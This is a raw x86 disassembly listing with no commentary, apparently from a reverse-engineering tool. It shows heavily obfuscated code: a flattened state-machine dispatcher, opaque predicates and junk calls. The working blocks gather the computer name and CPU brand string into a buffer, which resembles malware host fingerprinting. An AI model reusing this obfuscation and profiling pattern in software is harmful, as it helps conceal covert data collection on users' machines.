mov dword [esi], eax
jmp 0x435dd3
mov ecx, dword [esi + 4]
mov eax, 0xffffff3f
add ecx, eax
mov dword [esi + 4], ecx
mov eax, 0x9cc835ea
cmp ecx, 0x77
jae 0x4389ed
mov eax, 0x4fabe3a2
mov dword [esi], eax
jmp 0x435dd3
imul edi, dword [esi + 4], 0x3a740000
or edi, 0xc6
mov dword [esi + 4], edi
push edi
call fcn.00435dbc
add esp, 4
push edi
call fcn.00435dbc
add esp, 4
mov eax, 0xcf303784
cmp edi, 0x23
jge 0x438a25
mov eax, 0xf18aa5e7
mov dword [esi], eax
jmp 0x435dd3
push eax
mov eax, esp
mov dword [esi + 0x84], eax
mov dword [esi], 0x3361bb01
jmp 0x435dd3
mov ecx, dword [esi + 4]
shl ecx, 0xf
add ecx, 0xfffffff8
mov eax, ecx
shr eax, 0xa
mov dword [esi + 4], eax
mov eax, 0xf59aa411
cmp ecx, 0x35c00
jae 0x438a63
mov eax, 0xa0519cc0
mov dword [esi], eax
jmp 0x435dd3
push 6
push 0x4741dc
push 0xe
push dword [esi + 0xa8]
call fcn.0043aca0
add esp, 0x10
mov dword [esi], 0xa1a452a5
jmp 0x435dd3
mov eax, dword [esi + 8]
shr eax, 7
and eax, 0x1fffff
mov dword [esi + 8], eax
mov dword [esi], 0xa953ddc3
jmp 0x435dd3
mov eax, dword [esi + 8]
shr eax, 3
add eax, 0x87
mov ecx, eax
shr ecx, 6
imul eax, eax
add ecx, 0xffffff62
imul edx, eax, 0x3523
dec edx
shr ecx, 8
mov dword [esi + 8], ecx
mov ecx, 0x73087033
cmp eax, edx
je 0x438ad9
mov ecx, 0x7c4f8091
mov dword [esi], ecx
jmp 0x435dd3
push 6
push 0x47418b
push 0x1b
push dword [esi + 0x9c]
call fcn.0043aca0
add esp, 0x10
push 0x1c
push dword [esi + 0x9c]
push dword [esi + 0x44]
call fcn.00443560
add esp, 0xc
push dword [esi + 0x44]
push dword [esi + 0xc]
call fcn.0044fb80
add esp, 8
push dword [esi + 0x40]
push dword [esi + 0xc]
call fcn.0044fb80
add esp, 8
push dword [esi + 0xc]
call fcn.0044fd60
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x48]
mov eax, dword [esi + 0x14]
mov dword [eax], 0x100
mov dword [esi], 0xb14b28f1
jmp 0x435dd3
imul eax, dword [esi + 4], 0x8b
shr eax, 6
imul edi, eax, 0x448000
add edi, 0x258000
mov dword [esi + 4], edi
call fcn.00407e02
mov eax, 0x2d0cd768
cmp edi, 0xca
jge 0x438b81
mov eax, 0x18d9f315
mov dword [esi], eax
jmp 0x435dd3
mov eax, dword [esi + 8]
mov ecx, 0x3fffff51
add eax, ecx
and eax, 0x3fffffff
mov ecx, eax
imul ecx, eax
shr eax, 0xc
imul edx, ecx, 0x3173
add eax, 0xe5
dec edx
mov dword [esi + 8], eax
mov eax, 0x9659fc8b
cmp edx, ecx
je 0x438bbc
mov eax, 0x375c1a1a
mov dword [esi], eax
jmp 0x435dd3
imul edi, dword [esi + 4], 0x628c00
add edi, 0xddbd5400
mov dword [esi + 4], edi
push edi
push 0x5e82
push 0x3f8d
push 0x636f
call fcn.0043aca0
add esp, 0x10
mov eax, 0xb48e79f6
cmp edi, 0xfc
jl 0x438bfd
mov eax, 0x1cdc5410
mov dword [esi], eax
jmp 0x435dd3
push 5
push 0x474229
push 0xc
push dword [esi + 0xec]
call fcn.0043aca0
add esp, 0x10
mov eax, dword [esi + 0x60]
mov ecx, dword [esi + 0xec]
mov dl, byte [ecx + 0xc]
mov byte [eax + 0xc], dl
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x60]
push dword [esi + 0xc]
call fcn.0044fb80
add esp, 8
push dword [esi + 0x10]
push dword [esi + 0xc]
call fcn.0044fb80
add esp, 8
push dword [esi + 0xc]
call fcn.0044fd60
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x1c]
mov eax, dword [esi + 0x1c]
add eax, 4
push 0x1a4
push 0
push eax
call fcn.00444060
add esp, 0xc
mov dword [esi], 0x486cf2cd
jmp 0x435dd3
mov dword [esi], 0x8a93974e
jmp 0x435dd3
imul eax, dword [esi + 8], 0x3600
add eax, 0x17bb59
mov dword [esi + 8], eax
mov dword [esi], 0x8eaab81d
jmp 0x435dd3
mov eax, dword [esi + 0x144]
mov byte [eax], 0
mov edi, 0xf
push edi
push 0x474115
push dword [esi + 0x80]
call fcn.00443560
add esp, 0xc
push 6
push 0x474124
push edi
push dword [esi + 0x80]
call fcn.0043aca0
add esp, 0x10
mov eax, dword [esi + 0x140]
mov ecx, dword [esi + 0x80]
mov edx, dword [ecx + 0xc]
mov dword [eax + 0xc], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push str.ZghGYi__PDFOG
push dword [esi + 0xc]
call fcn.0044fb80
add esp, 8
push dword [esi + 0xc]
call fcn.0044fd60
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0x148], eax
mov dword [esi], 0xba19f14a
jmp 0x435dd3
mov dword [esi], 0xb66cf8ed
jmp 0x435dd3
imul eax, dword [esi + 8], 0x57560000
add eax, 0x9f720000
mov dword [esi + 8], eax
mov dword [esi], 0x455283a
jmp 0x435dd3
mov eax, dword [esi + 0x14c]
lea ecx, [esi + 0x120]
push ecx
push dword [esi + 0x100]
call eax
mov eax, dword [esi + 0x24]
sub esp, 8
mov eax, esp
mov dword [esi + 0x88], eax
mov eax, dword [esi + 0x88]
add eax, 6
mov dword [esi + 0x150], eax
mov dword [esi], 0xa0519cc0
jmp 0x435dd3
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x1a8]
mov dword [eax + 0x14], ecx
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x1ac]
mov dword [eax + 0x18], ecx
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x1b0]
mov dword [eax + 0x1c], ecx
mov eax, 0x80000004
mov ecx, 0
cpuid
mov dword [esi + 0xdc], eax
mov dword [esi + 0xe0], ebx
mov dword [esi + 0xe4], ecx
mov dword [esi + 0xe8], edx
mov eax, dword [esi + 0xe0]
mov eax, dword [esi + 0xe4]
mov eax, dword [esi + 0xe8]
mov eax, dword [esi + 0xdc]
mov dword [esi + 0x1b4], eax
mov dword [esi], 0x2b64cc5d
jmp 0x435dd3
mov eax, dword [esi + 0x124]
push 0
call eax
mov dword [esi + 0x128], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x74], eax
mov eax, dword [esi + 0x74]
add eax, 0x14
mov dword [esi + 0x12c], eax
mov dword [esi], 0x6d1dd2ca
jmp 0x435dd3
mov eax, dword [esi + 0x58]
mov dword [esi], 0xe99d364
jmp 0x435dd3
push 2
push 0x55
call fcn.0044e903
add esp, 8
mov dword [esi + 0x10c], eax
mov dword [esi], 0x2709ba19
jmp 0x435dd3
mov dword [esi], 0xb92cdf6
jmp 0x435dd3
push 4
push 0x474134
push 6
push dword [esi + 0x88]
call fcn.0043aca0
add esp, 0x10
mov eax, dword [esi + 0x24]
mov ecx, dword [esi + 0x88]
mov edx, dword [ecx]
mov ecx, dword [ecx + 3]
mov dword [eax + 3], ecx
mov dword [eax], edx
push dword [esi + 0x24]
push dword [esi + 0xc]
call fcn.0044fb80
add esp, 8
mov dword [esi], 0xbde0d5d0
jmp 0x435dd3
imul ebx, dword [esi + 4], 0x5b800
mov edi, 0x9c15aef3
and ebx, 0xffc00000
mov dword [esi + 4], ebx
je 0x438ed3
mov edi, 0x7b829d7e
call fcn.00407e02
push ebx
push 0x1193
push 0x1909
push 0x4329
call fcn.0043aca0
add esp, 0x10
mov dword [esi], edi
jmp 0x435dd3
mov edi, dword [esi + 4]
shl edi, 0xf
add edi, 0x330000
mov dword [esi + 4], edi
call fcn.00407e02
push 0x488c
push 0xb16
push edi
push 0x1fc
call fcn.0043aca0
add esp, 0x10
mov eax, 0x1d8ef52a
cmp edi, 0xc0
jge 0x438f35
mov eax, 0x7b829d7e
mov dword [esi], eax
jmp 0x435dd3
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x58], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x5c], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x60], eax
sub esp, 0x1a8
mov eax, esp
mov dword [esi + 0x1c], eax
mov dword [esi], 0xc3c216ce
jmp 0x435dd3
imul eax, dword [esi + 4], 0x96
add eax, 0x6ebe
shr eax, 3
mov ebx, eax
shl ebx, 9
sub ebx, eax
sub ebx, eax
add ebx, 0xffffff84
mov dword [esi + 4], ebx
push ebx
push 0x2fcc
push 0x398c
push 0x1828
call fcn.0043ab70
add esp, 0x10
push 0x6325
push ebx
push 0x3888
push 0x10db
call fcn.0043aca0
add esp, 0x10
mov eax, 0xe2e8a630
cmp ebx, 0x24
je 0x438fc8
mov eax, 0x850da2bb
mov dword [esi], eax
jmp 0x435dd3
mov ecx, dword [esi + 8]
lea eax, [ecx - 0x37]
imul eax, eax
imul edx, eax, 0x1789
imul ecx, ecx, 0x66
add ecx, 0x3cf6
dec edx
shr ecx, 0x18
mov dword [esi + 8], ecx
mov ecx, 0x411b18cb
cmp edx, eax
je 0x438ffc
mov ecx, 0x6d5ca6a6
mov dword [esi], ecx
jmp 0x435dd3
mov edi, dword [esi + 4]
add edi, 0x13
mov ebx, edi
shr ebx, 0xf
add ebx, 0xfffffffc
mov dword [esi + 4], ebx
push 0x42e6
push ebx
push 0xa47
call fcn.00425eef
add esp, 0xc
push ebx
call fcn.00435dbc
add esp, 4
mov eax, 0x9f39c676
cmp edi, 0x340000
jb 0x439042
mov eax, 0xaff9186a
mov dword [esi], eax
jmp 0x435dd3
push eax
sub esp, 0x14
mov edi, esp
mov word [edi + 0x14], 0
push 0x14
push 0x468b70
push edi
call fcn.00443560
add esp, 0xc
push 5
push 0x468b84
push 0xa
push edi
call fcn.0043ab70
add esp, 0x10
push edi
push 0x3d95e230
call fcn.0043ebdc
add esp, 8
mov dword [esi + 0x124], eax
mov dword [esi], 0x164f71a1
jmp 0x435dd3
mov eax, dword [esi + 8]
shl eax, 4
add eax, 0x94d
shr eax, 0x1c
mov dword [esi + 8], eax
mov dword [esi], 0x3325a9b7
jmp 0x435dd3
imul edi, dword [esi + 4], 0x20400
and edi, 0xffff8000
mov dword [esi + 4], edi
push edi
call fcn.00435dbc
add esp, 4
mov eax, 0xa934331e
cmp edi, 0x97
jl 0x4390dd
mov eax, 0xe57461c3
mov dword [esi], eax
jmp 0x435dd3
mov eax, dword [esi + 8]
lea ecx, [eax + 0x31]
imul ecx, ecx
imul edx, ecx, 0x3d23
dec edx
lea eax, [eax*4 + 0x1e2]
mov dword [esi + 8], eax
mov eax, 0xbb71be43
cmp ecx, edx
je 0x43910c
mov eax, 0xa87d953
mov dword [esi], eax
jmp 0x435dd3
mov dword [esi], 0xbf762f50
jmp 0x435dd3
mov eax, dword [esi + 4]
shl eax, 0x1d
mov ecx, 0xd8000000
sub ecx, eax
shr ecx, 0xe
mov dword [esi + 4], ecx
mov dword [esi], 0x375c1a1a
jmp 0x435dd3
mov eax, dword [esi + 8]
shr eax, 0xd
lea ecx, [eax - 0x35]
imul ecx, ecx
imul edx, ecx, 0x1f3b
add eax, 0xffffff33
dec edx
mov dword [esi + 8], eax
mov eax, 0x3fd5b54
cmp edx, ecx
je 0x439165
mov eax, 0x43745cb4
mov dword [esi], eax
jmp 0x435dd3
push dword [esi + 0x18]
call fcn.00440870
add esp, 4
mov dword [esi + 0x174], eax
mov dword [esi], 0xe0ce4395
jmp 0x435dd3
mov eax, dword [esi + 4]
lea ecx, [eax + eax*4]
lea ecx, [eax + ecx*8]
add ecx, 0xffffffa6
shr ecx, 9
add ecx, 0xffffff3f
mov dword [esi + 4], ecx
mov eax, 0x86c08b96
cmp ecx, 0x59
jb 0x4391af
mov eax, 0xab637620
mov dword [esi], eax
jmp 0x435dd3
mov eax, dword [esi + 0x98]
mov cl, byte [0x474164]
mov byte [eax + 0xc], cl
mov ecx, dword [0x474160]
mov dword [eax + 8], ecx
mov ecx, dword [0x47415c]
mov dword [eax + 4], ecx
mov ecx, dword [0x474158]
mov dword [eax], ecx
push 8
push 0x474165
push 0xd
push dword [esi + 0x98]
call fcn.0043aca0
add esp, 0x10
mov dword [esi], 0xf44ecfb2
jmp 0x435dd3
shl dword [esi + 8], 4
mov dword [esi], 0xc790f37e
jmp 0x435dd3
mov eax, dword [esi + 8]
shr eax, 0xd
imul ecx, eax, 0x2f800
imul eax, eax
imul edx, eax, 0x82bb
dec edx
mov dword [esi + 8], ecx
mov ecx, 0x7c4f8091
cmp eax, edx
je 0x439237
mov ecx, 0xc0cd4a34
mov dword [esi], ecx
jmp 0x435dd3
push dword [esi + 0x30]
push dword [esi + 0xc]
call fcn.0044fb80
add esp, 8
push dword [esi + 0xc]
call fcn.0044fd60
add esp, 4
mov dword [esi + 0x160], eax
mov dword [esi], 0x1adb96c9
jmp 0x435dd3
mov edi, dword [esi + 4]
shl edi, 6
add edi, 0xffffda00
mov dword [esi + 4], edi
push 0x12a0
push 0x2666
push edi
call fcn.00425eef
add esp, 0xc
mov eax, 0x90a7d722
cmp edi, 0xaa
jge 0x43929c
mov eax, 0x87978f14
mov dword [esi], eax
jmp 0x435dd3
mov edi, dword [esi + 4]
shr edi, 6
and edi, 0x7fffff
lea ebx, [edi + 0x6c]
mov dword [esi + 4], ebx
call fcn.00407e02
push ebx
call fcn.00435dbc
add esp, 4
mov eax, 0x301d9481
cmp edi, 0x70
jb 0x4392d2
mov eax, 0x86f9a22e
mov dword [esi], eax
jmp 0x435dd3
imul eax, dword [esi + 8], 0x52
add eax, 0xffffff11
mov dword [esi + 8], eax
mov dword [esi], 0x3f742007
jmp 0x435dd3
push dword [esi + 0x14]
push dword [esi + 0x40]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x44]
mov dword [esi], 0x229630c
jmp 0x435dd3
push dword [esi + 0x14]
push dword [esi + 0x48]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov dword [esi], 0x80002f72
jmp 0x435dd3
mov eax, dword [esi + 4]
shr eax, 7
lea ecx, [eax + eax*8]
lea ecx, [eax + ecx*8]
add ecx, 0xffffff9a
mov dword [esi + 4], ecx
mov eax, 0x375c1a1a
cmp ecx, 0x5e
jge 0x439346
mov eax, 0x87978f14
mov dword [esi], eax
jmp 0x435dd3
mov ecx, dword [esi + 8]
shr ecx, 0xb
imul eax, ecx, 0xb9
imul eax, eax
imul edx, eax, 0x5253
dec edx
imul ecx, ecx, 0x172000
add ecx, 0xffd80000
shr ecx, 9
mov dword [esi + 8], ecx
mov ecx, 0x8efadeee
cmp eax, edx
je 0x439383
mov ecx, 0xbd4ff6ac
mov dword [esi], ecx
jmp 0x435dd3
imul edi, dword [esi + 4], 0x58
add edi, 0x8c
mov dword [esi + 4], edi
push 0x458d
push 0x6363
push edi
call fcn.00425eef
add esp, 0xc
mov eax, 0xe2e8a630
cmp edi, 0xe6
jb 0x4393bc
mov eax, 0x8bd3325c
mov dword [esi], eax
jmp 0x435dd3
imul edi, dword [esi + 4], 0x3f40
add edi, 0xffcf7851
mov dword [esi + 4], edi
call fcn.00407e02
mov eax, 0xd02223be
cmp edi, 0xc9
jl 0x4393ea
mov eax, 0x15d2c650
mov dword [esi], eax
jmp 0x435dd3
imul eax, dword [esi + 8], 0x74000000
add eax, 0xffef5800
mov dword [esi + 8], eax
mov dword [esi], 0x44c10536
jmp 0x435dd3
mov dword [esi], 0xcb0fbf0
jmp 0x435dd3
imul edi, dword [esi + 4], 0x1b200
add edi, 0xfffee000
shr edi, 0xd
mov dword [esi + 4], edi
push edi
call fcn.00435dbc
add esp, 4
mov eax, 0xb749251a
cmp edi, 0x93
je 0x439444
mov eax, 0x26aae736
mov dword [esi], eax
jmp 0x435dd3
mov eax, dword [esi + 0xe8]
mov eax, dword [esi + 0xe4]
mov eax, dword [esi + 0xdc]
mov eax, dword [esi + 0xe0]
mov dword [esi + 0x1b8], eax
mov dword [esi], 0x1078dc1c
jmp 0x435dd3
imul eax, dword [esi + 8], 0x8c
shr eax, 0x13
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x1173
dec edx
shl eax, 8
add eax, 0xffff1000
mov dword [esi + 8], eax
mov eax, 0x3354f554
cmp ecx, edx
je 0x4394a3
mov eax, 0x6b38afcd
mov dword [esi], eax
jmp 0x435dd3
mov dword [esi], 0xd5e1a957
jmp 0x435dd3
mov eax, dword [esi + 0x13c]
mov ecx, dword [esi + 0x7c]
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0xc]
call fcn.0044fd60
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], 0xa
push dword [esi + 0xc]
call fcn.0044fd60
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0x140], eax
mov dword [esi], 0x7f31619f
jmp 0x435dd3
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x1b4]
mov dword [eax + 0x20], ecx
mov eax, dword [esi + 0x10]
add eax, 0x24
mov dword [esi + 0x1c4], eax
mov dword [esi], 0xb7f4f9c
jmp 0x435dd3
push 0x55
push dword [esi + 0x10c]
push dword [esi + 0x110]
call fcn.00453726
add esp, 0xc
mov eax, dword [esi + 0x5c]
sub esp, 0x10
mov eax, esp
mov dword [esi + 0xb8], eax
mov dword [esi], 0xf562b189
jmp 0x435dd3
imul edi, dword [esi + 4], 0x4a000000
add edi, 0xfff61040
mov dword [esi + 4], edi
push edi
call fcn.00435dbc
add esp, 4
call fcn.00407e02
mov eax, 0xdcc6f548
cmp edi, 0xf6
jl 0x439583
mov eax, 0x7f31619f
mov dword [esi], eax
jmp 0x435dd3
mov dword [esi], 0xec44c6ee
jmp 0x435dd3
mov eax, dword [esi + 0x190]
mov word [eax], 0xa
mov dword [esi], 0x408dfb0c
jmp 0x435dd3
mov edi, dword [esi + 4]
mov eax, 0x1af
add edi, eax
mov dword [esi + 4], edi
push 0x1e8d
push edi
push 0x605e
push 0x19a9
call fcn.0043ab70
add esp, 0x10
push edi
push 0x58c2
push 0x43a2
call fcn.00425eef
add esp, 0xc
mov eax, 0x2dce13d0
cmp edi, 0x52
jl 0x4395f2
mov eax, 0xed1b63f6
mov dword [esi], eax
jmp 0x435dd3
mov eax, dword [esi + 0xec]
mov ecx, dword [0x474225]
mov dword [eax + 8], ecx
mov ecx, dword [str.gLWg__]
mov dword [eax + 4], ecx
mov ecx, dword [0x47421d]
mov dword [eax], ecx
mov dword [esi], 0x4e4af96b
jmp 0x435dd3
mov eax, dword [esi + 0x28]
mov dword [esi], 0x5c26d242
jmp 0x435dd3
mov dword [esi], 0xf0558411
jmp 0x435dd3
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0xf4], eax
mov dword [esi], 0x2ba63e6d
jmp 0x435dd3
mov eax, dword [esi + 0x150]
mov byte [eax], 0
mov eax, dword [esi + 0x88]
movzx ecx, word [0x474132]
mov word [eax + 4], cx
mov ecx, dword [0x47412e]
mov dword [eax], ecx
mov dword [esi], 0xc7e3c84f
jmp 0x435dd3
mov eax, dword [esi + 0x184]
mov eax, dword [eax]
mov dword [esi + 0x188], eax
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xa4], eax
mov dword [esi], 0xddae6694
jmp 0x435dd3
imul edi, dword [esi + 4], 0x2c8
add edi, 0x1190
and edi, 0xfffffff0
mov dword [esi + 4], edi
push edi
push 0x4b27
push 0x5c0c
push 0x906
call fcn.0043ab70
add esp, 0x10
mov eax, 0x44c10536
cmp edi, 0xc5
jae 0x4396e3
mov eax, 0x3d690808
mov dword [esi], eax
jmp 0x435dd3
mov eax, dword [esi + 0x14]
mov dword [eax], 0x100
mov dword [esi], 0x5e631d97
jmp 0x435dd3
mov edi, 0xa
push edi
push dword [esi + 0xf8]
push dword [esi + 0x128]
call fcn.0044cecc
add esp, 0xc
push edi
push dword [esi + 0xfc]
push dword [esi + 0x130]
call fcn.0044cecc
add esp, 0xc
push 1
push 0x4000
call fcn.0044e903
add esp, 8
mov dword [esi + 0xc], eax
push dword [esi + 0xc]
call fcn.0044fd60
add esp, 4
mov dword [esi + 0x134], eax
mov dword [esi], 0x6f32ba4
jmp 0x435dd3
push dword [esi + 0xc]
call fcn.0044fd60
add esp, 4
mov dword [esi + 0x154], eax
mov dword [esi], 0x959ee4ba
jmp 0x435dd3
push 7
push 0x474140
push 8
push dword [esi + 0x90]
call fcn.0043aca0
add esp, 0x10
mov dword [esi], 0x86f9a22e
jmp 0x435dd3
mov eax, dword [esi + 0x54]
mov ecx, dword [esi + 0xac]
mov dl, byte [ecx + 8]
mov byte [eax + 8], dl
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
mov dword [esi], 0xa934331e
jmp 0x435dd3
push 1
push 0x20
call fcn.0044e903
add esp, 8
mov dword [esi + 0xfc], eax
mov dword [esi], 0xf884d28d
jmp 0x435dd3
mov edi, dword [esi + 4]
mov ebx, edi
shr ebx, 8
add ebx, 0x42
shr ebx, 0xc
mov dword [esi + 4], ebx
push 0x22c1
push ebx
push 0x33aa
push 0x2e26
call fcn.0043aca0
add esp, 0x10
push ebx
call fcn.00435dbc
add esp, 4
mov eax, 0x7b829d7e
cmp edi, 0x2bfbe00
jae 0x43981e
mov eax, 0xe2e8a630
mov dword [esi], eax
jmp 0x435dd3
mov eax, dword [esi + 0x6c]
mov dword [esi], 0x35ce95f3
jmp 0x435dd3
imul eax, dword [esi + 4], 0x2500
add eax, 0x2024
mov dword [esi + 4], eax
call fcn.00407e02
mov dword [esi], 0xe67f83a
jmp 0x435dd3
mov eax, dword [esi + 0x14]
mov dword [eax], 0x100
mov dword [esi], 0xf59aa411
jmp 0x435dd3
imul ecx, dword [esi + 4], 0x1300
add ecx, 0x157300
shr ecx, 2
add ecx, 0xfffffffc
mov dword [esi + 4], ecx
mov eax, 0xa30b2c58
cmp ecx, 0xb3
jb 0x43988e
mov eax, 0xb1a57c9a
mov dword [esi], eax
jmp 0x435dd3
mov eax, dword [esi + 8]
shr eax, 1
imul eax, eax, 0x27418000
add eax, 0xfffffff4
mov dword [esi + 8], eax
mov dword [esi], 0xe112a8d8
jmp 0x435dd3
imul eax, dword [esi + 8], 0x54
add eax, 0xffffffc1
shr eax, 2
and eax, 0x3ffffe00
mov dword [esi + 8], eax
mov dword [esi], 0xb3955f7b
jmp 0x435dd3
mov eax, dword [esi + 0x16c]
mov byte [eax], 0
mov edi, 0x17
push edi
push 0x4741a0
push dword [esi + 0xa0]
call fcn.00443560
add esp, 0xc
push 4
push 0x4741b7
push edi
push dword [esi + 0xa0]
call fcn.0043aca0
add esp, 0x10
push 0x18
push dword [esi + 0xa0]
push dword [esi + 0x4c]
call fcn.00443560
add esp, 0xc
push dword [esi + 0x4c]
push dword [esi + 0xc]
call fcn.0044fb80
add esp, 8
push dword [esi + 0x48]
push dword [esi + 0xc]
call fcn.0044fb80
add esp, 8
push dword [esi + 0xc]
call fcn.0044fd60
add esp, 4
mov dword [esi + 0x170], eax
mov dword [esi], 0xb0fa851f
jmp 0x435dd3
push dword [esi + 0x1c8]
push dword [esi + 0xc]
call fcn.0044fb80
add esp, 8
push dword [esi + 0xc]
call fcn.0044fd60
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x20]
mov dword [esi], 0xdd53c68
jmp 0x435dd3
imul eax, dword [esi + 4], 0x2260000
mov dword [esi + 4], eax
push 0x15c9
push 0x311f
push eax
call fcn.00425eef
add esp, 0xc
mov dword [esi], 0xede0b7b1
jmp 0x435dd3
mov edi, dword [esi + 4]
mov eax, 0x95
add edi, eax
mov eax, edi
shr eax, 0xe
mov dword [esi + 4], eax
push eax
call fcn.00435dbc
add esp, 4
call fcn.00407e02
mov eax, 0x7d607d0
cmp edi, 0xf4000
jae 0x4399de
mov eax, 0x375c1a1a
mov dword [esi], eax
jmp 0x435dd3
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x198]
mov dword [eax + 4], ecx
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x19c]
mov dword [eax + 8], ecx
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x1a0]
mov dword [eax + 0xc], ecx
mov eax, 0x80000003
mov ecx, 0
cpuid
mov dword [esi + 0xcc], eax
mov dword [esi + 0xd0], ebx
mov dword [esi + 0xd4], ecx
mov dword [esi + 0xd8], edx
mov eax, dword [esi + 0xd0]
mov eax, dword [esi + 0xd4]
mov eax, dword [esi + 0xd8]
mov eax, dword [esi + 0xcc]
mov dword [esi + 0x1a4], eax
mov eax, dword [esi + 0xd4]
mov eax, dword [esi + 0xd8]
mov eax, dword [esi + 0xcc]
mov eax, dword [esi + 0xd0]
mov dword [esi + 0x1a8], eax
mov dword [esi], 0x15a09b8c
jmp 0x435dd3
mov eax, dword [esi + 4]
lea edi, [eax + eax]
add edi, 0xee
shr edi, 0xf
add edi, 0x132
shr edi, 0xe
mov dword [esi + 4], edi
push edi
call fcn.00435dbc
add esp, 4
push 0x1e8c
push edi
push 0x35cf
call fcn.00425eef
add esp, 0xc
mov dword [esi], 0x6d1dd2ca
jmp 0x435dd3
push 1
push 0x55
call fcn.0044e903
add esp, 8
mov dword [esi + 0x110], eax
mov dword [esi], 0x753381f7
jmp 0x435dd3
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x8c], eax
mov eax, dword [esi + 0x8c]
mov word [eax + 0x18], 0
mov dword [esi], 0x398a740e
jmp 0x435dd3
imul ecx, dword [esi + 4], 0x4863
add ecx, 0x157d64
mov eax, ecx
shr eax, 0xd
mov dword [esi + 4], eax
mov eax, 0x84554dd1
cmp ecx, 0x44000
jae 0x439b1d
mov eax, 0x8c9a7c36
mov dword [esi], eax
jmp 0x435dd3
imul eax, dword [esi + 4], 0x197e80
or eax, 0x6e
mov dword [esi + 4], eax
mov dword [esi], 0x41e179c3
jmp 0x435dd3
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x9c], eax
mov eax, dword [esi + 0x9c]
mov byte [eax + 0x1b], 0
mov dword [esi], 0x2e3110c5
jmp 0x435dd3
imul edi, dword [esi + 4], 0x26
add edi, 0x237a
shr edi, 2
add edi, 0xc5
shr edi, 4
mov dword [esi + 4], edi
push 0x59a9
push 0x279b
push edi
push 0x1ffd
call fcn.0043ab70
add esp, 0x10
mov eax, 0x79322a22
cmp edi, 0x5a
je 0x439b9d
mov eax, 0xe5444044
mov dword [esi], eax
jmp 0x435dd3
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0xb4], eax
mov eax, dword [esi + 0xb4]
mov word [eax + 0x18], 0
push 0x18
push 0x468c10
push dword [esi + 0xb4]
call fcn.00443560
add esp, 0xc
mov dword [esi], 0x90a7d722
jmp 0x435dd3
imul eax, dword [esi + 4], 0x78
add eax, 0xffffc838
shr eax, 0xf
imul eax, eax, 0x2a
add eax, 0x1b12
mov dword [esi + 4], eax
mov dword [esi], 0xfe9cbc93
jmp 0x435dd3
mov eax, dword [esi + 8]
shl eax, 7
and eax, 0x1fffff80
lea eax, [eax + eax*2]
add eax, 0xab
mov dword [esi + 8], eax
mov dword [esi], 0xaff9186a
jmp 0x435dd3
mov dword [esi], 0xed1b63f6
jmp 0x435dd3
mov dword [esi], 0xa2289e00
jmp 0x435dd3
mov eax, dword [esi + 0x14]
mov dword [esi], 0xce7ace38
jmp 0x435dd3
mov eax, dword [esi + 8]
and eax, 0xfffffffe
shl eax, 7
add eax, 0xffffff10
mov dword [esi + 8], eax
mov dword [esi], 0xe67f83a
jmp 0x435dd3
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x1bc]
mov dword [eax + 0x28], ecx
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x1c0]
mov dword [eax + 0x2c], ecx
mov dword [esi], 0xc7f149d1
jmp 0x435dd3
push eax
sub esp, 0x1c
mov edi, esp
mov byte [edi + 0x1d], 0
mov ebx, 0x1d
push ebx
push 0x474230
push edi
call fcn.00443560
add esp, 0xc
push 8
push 0x47424d
push ebx
push edi
call fcn.0043aca0
add esp, 0x10
push 0x1e
push edi
push dword [esi + 0x68]
call fcn.00443560
add esp, 0xc
push dword [esi + 0x68]
push dword [esi + 0xc]
call fcn.0044fb80
add esp, 8
mov dword [esi], 0x3825f49b
jmp 0x435dd3
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xc4]
mov eax, dword [esi + 0xbc]
mov eax, dword [esi + 0xc0]
mov dword [esi + 0x198], eax
mov dword [esi], 0xd2823ab7
jmp 0x435dd3
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x50], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x54], eax
mov dword [esi], 0xe57461c3
jmp 0x435dd3
mov edi, dword [esi + 4]
shl edi, 0x17
add edi, 0xc000077
mov dword [esi + 4], edi
push 0x2113
push 0x348a
push edi
call fcn.00425eef
add esp, 0xc
push 0x1e86
push 0x247c
push 0x135a
push edi
call fcn.0043aca0
add esp, 0x10
mov dword [esi], 0xe2e8a630
jmp 0x435dd3
mov dword [esi], 0xba6311c4
jmp 0x435dd3
movzx edi, word [esi + 6]
